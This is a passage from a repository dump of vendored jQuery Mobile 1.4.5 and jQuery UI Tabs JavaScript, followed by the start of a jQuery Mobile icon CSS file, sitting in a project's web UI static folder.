options.filterPlaceholder !== undefined ) { if ( this._isSearchInternal() ) { this._search.attr( "placeholder", options.filterPlaceholder ); } } if ( options.filterTheme !== undefined && this._search && $.mobile.textinput ) { this._search.textinput( "option", "theme", options.filterTheme ); } return ret; }, // The listview implementation accompanying this filterable backcompat layer will call // filterable.refresh() after it's done refreshing the listview to make sure the filterable // filters out any new items added. However, when the listview refresh has been initiated by // the filterable itself, then such filtering has already taken place, and calling the // filterable's refresh() method will cause an infinite recursion. We stop this by setting a // flag that will cause the filterable's refresh() method to short-circuit. _refreshChildWidget: function() { this._refreshingChildWidget = true; this._superApply( arguments ); this._refreshingChildWidget = false; }, refresh: function() { if ( !this._refreshingChildWidget ) { this._superApply( arguments ); } }, _destroy: function() { if ( this._isSearchInternal() ) { this._search.remove(); } this._super(); }, _syncTextInputOptions: function( options ) { var idx, textinputOptions = {}; // We only sync options if the filterable's textinput is of the internally // generated variety, rather than one specified by the user. if ( this._isSearchInternal() && $.mobile.textinput ) { // Apply only the options understood by textinput for ( idx in $.mobile.textinput.prototype.options ) { if ( options[ idx ] !== undefined ) { if ( idx === "theme" && this.options.filterTheme != null ) { textinputOptions[ idx ] = this.options.filterTheme; } else { textinputOptions[ idx ] = options[ idx ]; } } } this._search.textinput( "option", textinputOptions ); } } }); // Instantiate a filterable on a listview that has the data-filter="true" attribute // This is not necessary for static content, because the auto-enhance takes care of instantiating // the filterable upon encountering data-filter="true". However, because of 1.3.x it is expected // that a listview with data-filter="true" will be filterable even if you just instantiate a // listview on it. The extension below ensures that this continues to happen in 1.4.x. $.widget( "mobile.listview", $.mobile.listview, { options: { filter: false }, _create: function() { if ( this.options.filter === true && !this.element.data( "mobile-filterable" ) ) { this.element.filterable(); } return this._super(); }, refresh: function() { var filterable; this._superApply( arguments ); if ( this.options.filter === true ) { filterable = this.element.data( "mobile-filterable" ); if ( filterable ) { filterable.refresh(); } } } }); })( jQuery ); /*! * jQuery UI Tabs fadf2b312a05040436451c64bbfaf4814bc62c56 * http://jqueryui.com * * Copyright 2013 jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/tabs/ * * Depends: * jquery.ui.core.js * jquery.ui.widget.js */ (function( $, undefined ) { var tabId = 0, rhash = /#.*$/; function getNextTabId() { return ++tabId; } function isLocal( anchor ) { return anchor.hash.length > 1 && decodeURIComponent( anchor.href.replace( rhash, "" ) ) === decodeURIComponent( location.href.replace( rhash, "" ) ); } $.widget( "ui.tabs", { version: "fadf2b312a05040436451c64bbfaf4814bc62c56", delay: 300, options: { active: null, collapsible: false, event: "click", heightStyle: "content", hide: null, show: null, // callbacks activate: null, beforeActivate: null, beforeLoad: null, load: null }, _create: function() { var that = this, options = this.options; this.running = false; this.element .addClass( "ui-tabs ui-widget ui-widget-content ui-corner-all" ) .toggleClass( "ui-tabs-collapsible", options.collapsible ) // Prevent users from focusing disabled tabs via click .delegate( ".ui-tabs-nav > li", "mousedown" + this.eventNamespace, function( event ) { if ( $( this ).is( ".ui-state-disabled" ) ) { event.preventDefault(); } }) // support: IE <9 // Preventing the default action in mousedown doesn't prevent IE // from focusing the element, so if the anchor gets focused, blur. // We don't have to worry about focusing the previously focused // element since clicking on a non-focusable element should focus // the body anyway. .delegate( ".ui-tabs-anchor", "focus" + this.eventNamespace, function() { if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) { this.blur(); } }); this._processTabs(); options.active = this._initialActive(); // Take disabling tabs via class attribute from HTML // into account and update option properly. if ( $.isArray( options.disabled ) ) { options.disabled = $.unique( options.disabled.concat( $.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) { return that.tabs.index( li ); }) ) ).sort(); } // check for length avoids error when initializing empty list if ( this.options.active !== false && this.anchors.length ) { this.active = this._findActive( options.active ); } else { this.active = $(); } this._refresh(); if ( this.active.length ) { this.load( options.active ); } }, _initialActive: function() { var active = this.options.active, collapsible = this.options.collapsible, locationHash = location.hash.substring( 1 ); if ( active === null ) { // check the fragment identifier in the URL if ( locationHash ) { this.tabs.each(function( i, tab ) { if ( $( tab ).attr( "aria-controls" ) === locationHash ) { active = i; return false; } }); } // check for a tab marked active via a class if ( active === null ) { active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) ); } // no active tab, set to false if ( active === null || active === -1 ) { active = this.tabs.length ? 0 : false; } } // handle numbers: negative, out of range if ( active !== false ) { active = this.tabs.index( this.tabs.eq( active ) ); if ( active === -1 ) { active = collapsible ? false : 0; } } // don't allow collapsible: false and active: false if ( !collapsible && active === false && this.anchors.length ) { active = 0; } return active; }, _getCreateEventData: function() { return { tab: this.active, panel: !this.active.length ? $() : this._getPanelForTab( this.active ) }; }, _tabKeydown: function( event ) { var focusedTab = $( this.document[0].activeElement ).closest( "li" ), selectedIndex = this.tabs.index( focusedTab ), goingForward = true; if ( this._handlePageNav( event ) ) { return; } switch ( event.keyCode ) { case $.ui.keyCode.RIGHT: case $.ui.keyCode.DOWN: selectedIndex++; break; case $.ui.keyCode.UP: case $.ui.keyCode.LEFT: goingForward = false; selectedIndex--; break; case $.ui.keyCode.END: selectedIndex = this.anchors.length - 1; break; case $.ui.keyCode.HOME: selectedIndex = 0; break; case $.ui.keyCode.SPACE: // Activate only, no collapsing event.preventDefault(); clearTimeout( this.activating ); this._activate( selectedIndex ); return; case $.ui.keyCode.ENTER: // Toggle (cancel delayed activation, allow collapsing) event.preventDefault(); clearTimeout( this.activating ); // Determine if we should collapse or activate this._activate( selectedIndex === this.options.active ? false : selectedIndex ); return; default: return; } // Focus the appropriate tab, based on which key was pressed event.preventDefault(); clearTimeout( this.activating ); selectedIndex = this._focusNextTab( selectedIndex, goingForward ); // Navigating with control key will prevent automatic activation if ( !event.ctrlKey ) { // Update aria-selected immediately so that AT think the tab is already selected. // Otherwise AT may confuse the user by stating that they need to activate the tab, // but the tab will already be activated by the time the announcement finishes. focusedTab.attr( "aria-selected", "false" ); this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" ); this.activating = this._delay(function() { this.option( "active", selectedIndex ); }, this.delay ); } }, _panelKeydown: function( event ) { if ( this._handlePageNav( event ) ) { return; } // Ctrl+up moves focus to the current tab if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) { event.preventDefault(); this.active.focus(); } }, // Alt+page up/down moves focus to the previous/next tab (and activates) _handlePageNav: function( event ) { if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_UP ) { this._activate( this._focusNextTab( this.options.active - 1, false ) ); return true; } if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) { this._activate( this._focusNextTab( this.options.active + 1, true ) ); return true; } }, _findNextTab: function( index, goingForward ) { var lastTabIndex = this.tabs.length - 1; function constrain() { if ( index > lastTabIndex ) { index = 0; } if ( index < 0 ) { index = lastTabIndex; } return index; } while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) { index = goingForward ? index + 1 : index - 1; } return index; }, _focusNextTab: function( index, goingForward ) { index = this._findNextTab( index, goingForward ); this.tabs.eq( index ).focus(); return index; }, _setOption: function( key, value ) { if ( key === "active" ) { // _activate() will handle invalid values and update this.options this._activate( value ); return; } if ( key === "disabled" ) { // don't use the widget factory's disabled handling this._setupDisabled( value ); return; } this._super( key, value); if ( key === "collapsible" ) { this.element.toggleClass( "ui-tabs-collapsible", value ); // Setting collapsible: false while collapsed; open first panel if ( !value && this.options.active === false ) { this._activate( 0 ); } } if ( key === "event" ) { this._setupEvents( value ); } if ( key === "heightStyle" ) { this._setupHeightStyle( value ); } }, _tabId: function( tab ) { return tab.attr( "aria-controls" ) || "ui-tabs-" + getNextTabId(); }, _sanitizeSelector: function( hash ) { return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : ""; }, refresh: function() { var options = this.options, lis = this.tablist.children( ":has(a[href])" ); // get disabled tabs from class attribute from HTML // this will get converted to a boolean if needed in _refresh() options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) { return lis.index( tab ); }); this._processTabs(); // was collapsed or no tabs if ( options.active === false || !this.anchors.length ) { options.active = false; this.active = $(); // was active, but active tab is gone } else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) { // all remaining tabs are disabled if ( this.tabs.length === options.disabled.length ) { options.active = false; this.active = $(); // activate previous tab } else { this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) ); } // was active, active tab still exists } else { // make sure active index is correct options.active = this.tabs.index( this.active ); } this._refresh(); }, _refresh: function() { this._setupDisabled( this.options.disabled ); this._setupEvents( this.options.event ); this._setupHeightStyle( this.options.heightStyle ); this.tabs.not( this.active ).attr({ "aria-selected": "false", tabIndex: -1 }); this.panels.not( this._getPanelForTab( this.active ) ) .hide() .attr({ "aria-expanded": "false", "aria-hidden": "true" }); // Make sure one tab is in the tab order if ( !this.active.length ) { this.tabs.eq( 0 ).attr( "tabIndex", 0 ); } else { this.active .addClass( "ui-tabs-active ui-state-active" ) .attr({ "aria-selected": "true", tabIndex: 0 }); this._getPanelForTab( this.active ) .show() .attr({ "aria-expanded": "true", "aria-hidden": "false" }); } }, _processTabs: function() { var that = this; this.tablist = this._getList() .addClass( "ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all" ) .attr( "role", "tablist" ); this.tabs = this.tablist.find( "> li:has(a[href])" ) .addClass( "ui-state-default ui-corner-top" ) .attr({ role: "tab", tabIndex: -1 }); this.anchors = this.tabs.map(function() { return $( "a", this )[ 0 ]; }) .addClass( "ui-tabs-anchor" ) .attr({ role: "presentation", tabIndex: -1 }); this.panels = $(); this.anchors.each(function( i, anchor ) { var selector, panel, panelId, anchorId = $( anchor ).uniqueId().attr( "id" ), tab = $( anchor ).closest( "li" ), originalAriaControls = tab.attr( "aria-controls" ); // inline tab if ( isLocal( anchor ) ) { selector = anchor.hash; panel = that.element.find( that._sanitizeSelector( selector ) ); // remote tab } else { panelId = that._tabId( tab ); selector = "#" + panelId; panel = that.element.find( selector ); if ( !panel.length ) { panel = that._createPanel( panelId ); panel.insertAfter( that.panels[ i - 1 ] || that.tablist ); } panel.attr( "aria-live", "polite" ); } if ( panel.length) { that.panels = that.panels.add( panel ); } if ( originalAriaControls ) { tab.data( "ui-tabs-aria-controls", originalAriaControls ); } tab.attr({ "aria-controls": selector.substring( 1 ), "aria-labelledby": anchorId }); panel.attr( "aria-labelledby", anchorId ); }); this.panels .addClass( "ui-tabs-panel ui-widget-content ui-corner-bottom" ) .attr( "role", "tabpanel" ); }, // allow overriding how to find the list for rare usage scenarios (#7715) _getList: function() { return this.element.find( "ol,ul" ).eq( 0 ); }, _createPanel: function( id ) { return $( "<div>" ) .attr( "id", id ) .addClass( "ui-tabs-panel ui-widget-content ui-corner-bottom" ) .data( "ui-tabs-destroy", true ); }, _setupDisabled: function( disabled ) { if ( $.isArray( disabled ) ) { if ( !disabled.length ) { disabled = false; } else if ( disabled.length === this.anchors.length ) { disabled = true; } } // disable tabs for ( var i = 0, li; ( li = this.tabs[ i ] ); i++ ) { if ( disabled === true || $.inArray( i, disabled ) !== -1 ) { $( li ) .addClass( "ui-state-disabled" ) .attr( "aria-disabled", "true" ); } else { $( li ) .removeClass( "ui-state-disabled" ) .removeAttr( "aria-disabled" ); } } this.options.disabled = disabled; }, _setupEvents: function( event ) { var events = { click: function( event ) { event.preventDefault(); } }; if ( event ) { $.each( event.split(" "), function( index, eventName ) { events[ eventName ] = "_eventHandler"; }); } this._off( this.anchors.add( this.tabs ).add( this.panels ) ); this._on( this.anchors, events ); this._on( this.tabs, { keydown: "_tabKeydown" } ); this._on( this.panels, { keydown: "_panelKeydown" } ); this._focusable( this.tabs ); this._hoverable( this.tabs ); }, _setupHeightStyle: function( heightStyle ) { var maxHeight, parent = this.element.parent(); if ( heightStyle === "fill" ) { maxHeight = parent.height(); maxHeight -= this.element.outerHeight() - this.element.height(); this.element.siblings( ":visible" ).each(function() { var elem = $( this ), position = elem.css( "position" ); if ( position === "absolute" || position === "fixed" ) { return; } maxHeight -= elem.outerHeight( true ); }); this.element.children().not( this.panels ).each(function() { maxHeight -= $( this ).outerHeight( true ); }); this.panels.each(function() { $( this ).height( Math.max( 0, maxHeight - $( this ).innerHeight() + $( this ).height() ) ); }) .css( "overflow", "auto" ); } else if ( heightStyle === "auto" ) { maxHeight = 0; this.panels.each(function() { maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() ); }).height( maxHeight ); } }, _eventHandler: function( event ) { var options = this.options, active = this.active, anchor = $( event.currentTarget ), tab = anchor.closest( "li" ), clickedIsActive = tab[ 0 ] === active[ 0 ], collapsing = clickedIsActive && options.collapsible, toShow = collapsing ? $() : this._getPanelForTab( tab ), toHide = !active.length ? $() : this._getPanelForTab( active ), eventData = { oldTab: active, oldPanel: toHide, newTab: collapsing ? $() : tab, newPanel: toShow }; event.preventDefault(); if ( tab.hasClass( "ui-state-disabled" ) || // tab is already loading tab.hasClass( "ui-tabs-loading" ) || // can't switch durning an animation this.running || // click on active header, but not collapsible ( clickedIsActive && !options.collapsible ) || // allow canceling activation ( this._trigger( "beforeActivate", event, eventData ) === false ) ) { return; } options.active = collapsing ? false : this.tabs.index( tab ); this.active = clickedIsActive ? $() : tab; if ( this.xhr ) { this.xhr.abort(); } if ( !toHide.length && !toShow.length ) { $.error( "jQuery UI Tabs: Mismatching fragment identifier." ); } if ( toShow.length ) { this.load( this.tabs.index( tab ), event ); } this._toggle( event, eventData ); }, // handles show/hide for selecting tabs _toggle: function( event, eventData ) { var that = this, toShow = eventData.newPanel, toHide = eventData.oldPanel; this.running = true; function complete() { that.running = false; that._trigger( "activate", event, eventData ); } function show() { eventData.newTab.closest( "li" ).addClass( "ui-tabs-active ui-state-active" ); if ( toShow.length && that.options.show ) { that._show( toShow, that.options.show, complete ); } else { toShow.show(); complete(); } } // start out by hiding, then showing, then completing if ( toHide.length && this.options.hide ) { this._hide( toHide, this.options.hide, function() { eventData.oldTab.closest( "li" ).removeClass( "ui-tabs-active ui-state-active" ); show(); }); } else { eventData.oldTab.closest( "li" ).removeClass( "ui-tabs-active ui-state-active" ); toHide.hide(); show(); } toHide.attr({ "aria-expanded": "false", "aria-hidden": "true" }); eventData.oldTab.attr( "aria-selected", "false" ); // If we're switching tabs, remove the old tab from the tab order. // If we're opening from collapsed state, remove the previous tab from the tab order. // If we're collapsing, then keep the collapsing tab in the tab order. if ( toShow.length && toHide.length ) { eventData.oldTab.attr( "tabIndex", -1 ); } else if ( toShow.length ) { this.tabs.filter(function() { return $( this ).attr( "tabIndex" ) === 0; }) .attr( "tabIndex", -1 ); } toShow.attr({ "aria-expanded": "true", "aria-hidden": "false" }); eventData.newTab.attr({ "aria-selected": "true", tabIndex: 0 }); }, _activate: function( index ) { var anchor, active = this._findActive( index ); // trying to activate the already active panel if ( active[ 0 ] === this.active[ 0 ] ) { return; } // trying to collapse, simulate a click on the current active header if ( !active.length ) { active = this.active; } anchor = active.find( ".ui-tabs-anchor" )[ 0 ]; this._eventHandler({ target: anchor, currentTarget: anchor, preventDefault: $.noop }); }, _findActive: function( index ) { return index === false ? $() : this.tabs.eq( index ); }, _getIndex: function( index ) { // meta-function to give users option to provide a href string instead of a numerical index. if ( typeof index === "string" ) { index = this.anchors.index( this.anchors.filter( "[href$='" + index + "']" ) ); } return index; }, _destroy: function() { if ( this.xhr ) { this.xhr.abort(); } this.element.removeClass( "ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible" ); this.tablist .removeClass( "ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all" ) .removeAttr( "role" ); this.anchors .removeClass( "ui-tabs-anchor" ) .removeAttr( "role" ) .removeAttr( "tabIndex" ) .removeUniqueId(); this.tabs.add( this.panels ).each(function() { if ( $.data( this, "ui-tabs-destroy" ) ) { $( this ).remove(); } else { $( this ) .removeClass( "ui-state-default ui-state-active ui-state-disabled " + "ui-corner-top ui-corner-bottom ui-widget-content ui-tabs-active ui-tabs-panel" ) .removeAttr( "tabIndex" ) .removeAttr( "aria-live" ) .removeAttr( "aria-busy" ) .removeAttr( "aria-selected" ) .removeAttr( "aria-labelledby" ) .removeAttr( "aria-hidden" ) .removeAttr( "aria-expanded" ) .removeAttr( "role" ); } }); this.tabs.each(function() { var li = $( this ), prev = li.data( "ui-tabs-aria-controls" ); if ( prev ) { li .attr( "aria-controls", prev ) .removeData( "ui-tabs-aria-controls" ); } else { li.removeAttr( "aria-controls" ); } }); this.panels.show(); if ( this.options.heightStyle !== "content" ) { this.panels.css( "height", "" ); } }, enable: function( index ) { var disabled = this.options.disabled; if ( disabled === false ) { return; } if ( index === undefined ) { disabled = false; } else { index = this._getIndex( index ); if ( $.isArray( disabled ) ) { disabled = $.map( disabled, function( num ) { return num !== index ? num : null; }); } else { disabled = $.map( this.tabs, function( li, num ) { return num !== index ? num : null; }); } } this._setupDisabled( disabled ); }, disable: function( index ) { var disabled = this.options.disabled; if ( disabled === true ) { return; } if ( index === undefined ) { disabled = true; } else { index = this._getIndex( index ); if ( $.inArray( index, disabled ) !== -1 ) { return; } if ( $.isArray( disabled ) ) { disabled = $.merge( [ index ], disabled ).sort(); } else { disabled = [ index ]; } } this._setupDisabled( disabled ); }, load: function( index, event ) { index = this._getIndex( index ); var that = this, tab = this.tabs.eq( index ), anchor = tab.find( ".ui-tabs-anchor" ), panel = this._getPanelForTab( tab ), eventData = { tab: tab, panel: panel }; // not remote if ( isLocal( anchor[ 0 ] ) ) { return; } this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) ); // support: jQuery <1.8 // jQuery <1.8 returns false if the request is canceled in beforeSend, // but as of 1.8, $.ajax() always returns a jqXHR object. if ( this.xhr && this.xhr.statusText !== "canceled" ) { tab.addClass( "ui-tabs-loading" ); panel.attr( "aria-busy", "true" ); this.xhr .success(function( response ) { // support: jQuery <1.8 // http://bugs.jquery.com/ticket/11778 setTimeout(function() { panel.html( response ); that._trigger( "load", event, eventData ); }, 1 ); }) .complete(function( jqXHR, status ) { // support: jQuery <1.8 // http://bugs.jquery.com/ticket/11778 setTimeout(function() { if ( status === "abort" ) { that.panels.stop( false, true ); } tab.removeClass( "ui-tabs-loading" ); panel.removeAttr( "aria-busy" ); if ( jqXHR === that.xhr ) { delete that.xhr; } }, 1 ); }); } }, _ajaxSettings: function( anchor, event, eventData ) { var that = this; return { url: anchor.attr( "href" ), beforeSend: function( jqXHR, settings ) { return that._trigger( "beforeLoad", event, $.extend( { jqXHR : jqXHR, ajaxSettings: settings }, eventData ) ); } }; }, _getPanelForTab: function( tab ) { var id = $( tab ).attr( "aria-controls" ); return this.element.find( this._sanitizeSelector( "#" + id ) ); } }); })( jQuery ); (function( $, undefined ) { })( jQuery ); (function( $, window ) { $.mobile.iosorientationfixEnabled = true; // This fix addresses an iOS bug, so return early if the UA claims it's something else. var ua = navigator.userAgent, zoom, evt, x, y, z, aig; if ( !( /iPhone|iPad|iPod/.test( navigator.platform ) && /OS [1-5]_[0-9_]* like Mac OS X/i.test( ua ) && ua.indexOf( "AppleWebKit" ) > -1 ) ) { $.mobile.iosorientationfixEnabled = false; return; } zoom = $.mobile.zoom; function checkTilt( e ) { evt = e.originalEvent; aig = evt.accelerationIncludingGravity; x = Math.abs( aig.x ); y = Math.abs( aig.y ); z = Math.abs( aig.z ); // If portrait orientation and in one of the danger zones if ( !window.orientation && ( x > 7 || ( ( z > 6 && y < 8 || z < 8 && y > 6 ) && x > 5 ) ) ) { if ( zoom.enabled ) { zoom.disable(); } } else if ( !zoom.enabled ) { zoom.enable(); } } $.mobile.document.on( "mobileinit", function() { if ( $.mobile.iosorientationfixEnabled ) { $.mobile.window .bind( "orientationchange.iosorientationfix", zoom.enable ) .bind( "devicemotion.iosorientationfix", checkTilt ); } }); }( jQuery, this )); (function( $, window, undefined ) { var $html = $( "html" ), $window = $.mobile.window; //remove initial build class (only present on first pageshow) function hideRenderingClass() { $html.removeClass( "ui-mobile-rendering" ); } // trigger mobileinit event - useful hook for configuring $.mobile settings before they're used $( window.document ).trigger( "mobileinit" ); // support conditions // if device support condition(s) aren't met, leave things as they are -> a basic, usable experience, // otherwise, proceed with the enhancements if ( !$.mobile.gradeA() ) { return; } // override ajaxEnabled on platforms that have known conflicts with hash history updates // or generally work better browsing in regular http for full page refreshes (BB5, Opera Mini) if ( $.mobile.ajaxBlacklist ) { $.mobile.ajaxEnabled = false; } // Add mobile, initial load "rendering" classes to docEl $html.addClass( "ui-mobile ui-mobile-rendering" ); // This is a fallback. If anything goes wrong (JS errors, etc), or events don't fire, // this ensures the rendering class is removed after 5 seconds, so content is visible and accessible setTimeout( hideRenderingClass, 5000 ); $.extend( $.mobile, { // find and enhance the pages in the dom and transition to the first page. initializePage: function() { // find present pages var path = $.mobile.path, $pages = $( ":jqmData(role='page'), :jqmData(role='dialog')" ), hash = path.stripHash( path.stripQueryParams(path.parseLocation().hash) ), theLocation = $.mobile.path.parseLocation(), hashPage = hash ? document.getElementById( hash ) : undefined; // if no pages are found, create one with body's inner html if ( !$pages.length ) { $pages = $( "body" ).wrapInner( "<div data-" + $.mobile.ns + "role='page'></div>" ).children( 0 ); } // add dialogs, set data-url attrs $pages.each(function() { var $this = $( this ); // unless the data url is already set set it to the pathname if ( !$this[ 0 ].getAttribute( "data-" + $.mobile.ns + "url" ) ) { $this.attr( "data-" + $.mobile.ns + "url", $this.attr( "id" ) || path.convertUrlToDataUrl( theLocation.pathname + theLocation.search ) ); } }); // define first page in dom case one backs out to the directory root (not always the first page visited, but defined as fallback) $.mobile.firstPage = $pages.first(); // define page container $.mobile.pageContainer = $.mobile.firstPage .parent() .addClass( "ui-mobile-viewport" ) .pagecontainer(); // initialize navigation events now, after mobileinit has occurred and the page container // has been created but before the rest of the library is alerted to that fact $.mobile.navreadyDeferred.resolve(); // alert listeners that the pagecontainer has been determined for binding // to events triggered on it $window.trigger( "pagecontainercreate" ); // cue page loading message $.mobile.loading( "show" ); //remove initial build class (only present on first pageshow) hideRenderingClass(); // if hashchange listening is disabled, there's no hash deeplink, // the hash is not valid (contains more than one # or does not start with #) // or there is no page with that hash, change to the first page in the DOM // Remember, however, that the hash can also be a path! if ( ! ( $.mobile.hashListeningEnabled && $.mobile.path.isHashValid( location.hash ) && ( $( hashPage ).is( ":jqmData(role='page')" ) || $.mobile.path.isPath( hash ) || hash === $.mobile.dialogHashKey ) ) ) { // make sure to set initial popstate state if it exists // so that navigation back to the initial page works properly if ( $.event.special.navigate.isPushStateEnabled() ) { $.mobile.navigate.navigator.squash( path.parseLocation().href ); } $.mobile.changePage( $.mobile.firstPage, { transition: "none", reverse: true, changeHash: false, fromHashChange: true }); } else { // trigger hashchange or navigate to squash and record the correct // history entry for an initial hash path if ( !$.event.special.navigate.isPushStateEnabled() ) { $window.trigger( "hashchange", [true] ); } else { // TODO figure out how to simplify this interaction with the initial history entry // at the bottom js/navigate/navigate.js $.mobile.navigate.history.stack = []; $.mobile.navigate( $.mobile.path.isPath( location.hash ) ? location.hash : location.href ); } } } }); $(function() { //Run inlineSVG support test $.support.inlineSVG(); // check which scrollTop value should be used by scrolling to 1 immediately at domready // then check what the scroll top is. Android will report 0... others 1 // note that this initial scroll won't hide the address bar. It's just for the check. // hide iOS browser chrome on load if hideUrlBar is true this is to try and do it as soon as possible if ( $.mobile.hideUrlBar ) { window.scrollTo( 0, 1 ); } // if defaultHomeScroll hasn't been set yet, see if scrollTop is 1 // it should be 1 in most browsers, but android treats 1 as 0 (for hiding addr bar) // so if it's 1, use 0 from now on $.mobile.defaultHomeScroll = ( !$.support.scrollTop || $.mobile.window.scrollTop() === 1 ) ? 0 : 1; //dom-ready inits if ( $.mobile.autoInitializePage ) { $.mobile.initializePage(); } // window load event // hide iOS browser chrome on load if hideUrlBar is true this is as fall back incase we were too early before if ( $.mobile.hideUrlBar ) { $window.load( $.mobile.silentScroll ); } if ( !$.support.cssPointerEvents ) { // IE and Opera don't support CSS pointer-events: none that we use to disable link-based buttons // by adding the 'ui-disabled' class to them. Using a JavaScript workaround for those browser. // https://github.com/jquery/jquery-mobile/issues/3558 // DEPRECATED as of 1.4.0 - remove ui-disabled after 1.4.0 release // only ui-state-disabled should be present thereafter $.mobile.document.delegate( ".ui-state-disabled,.ui-disabled", "vclick", function( e ) { e.preventDefault(); e.stopImmediatePropagation(); } ); } }); }( jQuery, this )); })); ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.mobile/jquery.mobile.external-png-1.4.5.css ================================================ /*! * jQuery Mobile 1.4.5 * Git HEAD hash: 68e55e78b292634d3991c795f06f5e37a512decc <> Date: Fri Oct 31 2014 17:33:30 UTC * http://jquerymobile.com * * Copyright 2010, 2014 jQuery Foundation, Inc. and othercontributors * Released under the MIT license. * http://jquery.org/license * */ .ui-icon-action:after { background-image: url(images/icons-png/action-white.png); } .ui-icon-alert:after { background-image: url(images/icons-png/alert-white.png); } .ui-icon-arrow-d-l:after { background-image: url(images/icons-png/arrow-d-l-white.png); } .ui-icon-arrow-d-r:after { background-image: url(images/icons-png/arrow-d-r-white.png); } .ui-icon-arrow-d:after { background-image: url(images/icons-png/arrow-d-white.png); } .ui-icon-arrow-l:after { background-image: url(images/icons-png/arrow-l-white.png); } .ui-icon-arrow-r:after { background-image: url(images/icons-png/arrow-r-white.png); } .ui-icon-arrow-u-l:after { background-image: url(images/icons-png/arrow-u-l-white.png); } .ui-icon-arrow-u-r:after { background-image: url(images/icons-png/arrow-u-r-white.png); } .ui-icon-arrow-u:after { background-image: url(images/icons-png/arrow-u-white.png); } .ui-icon-audio:after { background-image: url(images/icons-png/audio-white.png); } .ui-icon-back:after { background-image: url(images/icons-png/back-white.png); } .ui-icon-bars:after { background-image: url(images/icons-png/bars-white.png); } .ui-icon-bullets:after { background-image: url(images/icons-png/bullets-white.png); } .ui-icon-calendar:after { background-image: url(images/icons-png/calendar-white.png); } .ui-icon-camera:after { background-image: url(images/icons-png/camera-white.png); } .ui-icon-carat-d:after { background-image: url(images/icons-png/carat-d-white.png); } .ui-icon-carat-l:after { background-image: url(images/icons-png/carat-l-white.png); } .ui-icon-carat-r:after { background-image: url(images/icons-png/carat-r-white.png); } .ui-icon-carat-u:after { background-image: url(images/icons-png/carat-u-white.png); } .ui-icon-check:after, /* Used ui-checkbox-on twice to increase specificity. If active state has background-image for gradient this rule overrides. */ html .ui-btn.ui-checkbox-on.ui-checkbox-on:after { background-image: url(images/icons-png/check-white.png); } .ui-icon-clock:after { background-image: url(images/icons-png/clock-white.png); } .ui-icon-cloud:after { background-image: url(images/icons-png/cloud-white.png); } .ui-icon-comment:after { background-image: url(images/icons-png/comment-white.png); } .ui-icon-delete:after { background-image: url(images/icons-png/delete-white.png); } .ui-icon-edit:after { background-image: url(images/icons-png/edit-white.png); } .ui-icon-eye:after { background-image: url(images/icons-png/eye-white.png); } .ui-icon-forbidden:after { background-image: url(images/icons-png/forbidden-white.png); } .ui-icon-forward:after { background-image: url(images/icons-png/forward-white.png); } .ui-icon-gear:after { background-image: url(images/icons-png/gear-white.png); } .ui-icon-grid:after { background-image: url(images/icons-png/grid-white.png); } .ui-icon-heart:after { background-image: url(images/icons-png/heart-white.png); } .ui-icon-home:after { background-image: url(images/icons-png/home-white.png); } .ui-icon-info:after { background-image: url(images/icons-png/info-white.png); } .ui-icon-location:after { background-image: url(images/icons-png/location-white.png); } .ui-icon-lock:after { background-image: url(images/icons-png/lock-white.png); } .ui-icon-mail:after { background-image: url(images/icons-png/mail-white.png); } .ui-icon-minus:after { background-image: url(images/icons-png/minus-white.png); } .ui-icon-navigation:after { background-image: url(images/icons-png/navigation-white.png); } .ui-icon-phone:after { background-image: url(images/icons-png/phone-white.png); } .ui-icon-plus:after { background-image: url(images/icons-png/plus-white.png); } .ui-icon-power:after { background-image: url(images/icons-png/power-white.png); } .ui-icon-recycle:after { background-image: url(images/icons-png/recycle-white.png); } .ui-icon-refresh:after { background-image: url(images/icons-png/refresh-white.png); } .ui-icon-search:after { background-image: url(images/icons-png/search-white.png); } .ui-icon-shop:after { background-image: url(images/icons-png/shop-white.png); } .ui-icon-star:after { background-image: url(images/icons-png/star-white.png); } .ui-icon-tag:after { background-image: url(images/icons-png/tag-white.png); } .ui-icon-user:after { background-image: url(images/icons-png/user-white.png); } .ui-icon-video:after { background-image: url(images/icons-png/video-white.png); } /* Alt icons */ .ui-alt-icon.ui-icon-action:after, .ui-alt-icon .ui-icon-action:after { background-image: url(images/icons-png/action-black.png); } .ui-alt-icon.ui-icon-alert:after, .ui-alt-icon .ui-icon-alert:after { background-image: url(images/icons-png/alert-black.png); } .ui-alt-icon.ui-icon-arrow-d:after, .ui-alt-icon .ui-icon-arrow-d:after { background-image: url(images/icons-png/arrow-d-black.png); } .ui-alt-icon.ui-icon-arrow-d-l:after, .ui-alt-icon .ui-icon-arrow-d-l:after { background-image: url(images/icons-png/arrow-d-l-black.png); } .ui-alt-icon.ui-icon-arrow-d-r:after, .ui-alt-icon .ui-icon-arrow-d-r:after { background-image: url(images/icons-png/arrow-d-r-black.png); } .ui-alt-icon.ui-icon-arrow-l:after, .ui-alt-icon .ui-icon-arrow-l:after { background-image: url(images/icons-png/arrow-l-black.png); } .ui-alt-icon.ui-icon-arrow-r:after, .ui-alt-icon .ui-icon-arrow-r:after { background-image: url(images/icons-png/arrow-r-black.png); } .ui-alt-icon.ui-icon-arrow-u:after, .ui-alt-icon .ui-icon-arrow-u:after { background-image: url(images/icons-png/arrow-u-black.png); } .ui-alt-icon.ui-icon-arrow-u-l:after, .ui-alt-icon .ui-icon-arrow-u-l:after { background-image: url(images/icons-png/arrow-u-l-black.png); } .ui-alt-icon.ui-icon-arrow-u-r:after, 